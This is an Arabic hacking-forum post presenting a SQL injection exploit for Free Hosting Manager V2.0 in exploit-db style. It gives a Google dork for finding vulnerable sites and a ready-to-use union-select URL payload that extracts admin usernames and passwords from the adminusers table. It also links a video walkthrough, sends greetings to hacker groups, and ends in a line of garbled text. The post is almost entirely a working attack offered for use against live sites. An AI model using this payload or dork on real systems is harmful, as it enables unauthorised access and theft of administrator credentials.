السلام عليكم
بعد انقطاع فترة كبيرة حبيت ارجعلكم بثغرة قوية من اكتشافي
كود PHP:
####
# Exploit Title: Free Hosting Manager V2.0 SQL Injection Vulnerability
# Author: Spiral
# E-mail: for-hacker@hotmail.com
# Google Dork: inurl:clients/packages.php?id=1
# Tested on: ***91;Windows 7***93;
# Vendor: http://www.fhm-script.com/download.php
####
# Exploit:
http://www.site.com/clients/viewaccount.php?id=-ID'+union+select+1,2,concat(username,0x3a3a,password),4,5,6,7,8,9,10+from+adminusers--+
# Note: you must regsiter first !
# Greetz To: alh7nooty - dzx - b0x - j0rd4n14n.r1z - ghost hack
security999 - the final doom - cyber mafia
الشرح فيديو:
http://www.mediafire.com/?pfyu7e1km0qogjk
eyvm td av;hj hghsjqhtm hgl[hkdm Free Hosting Manager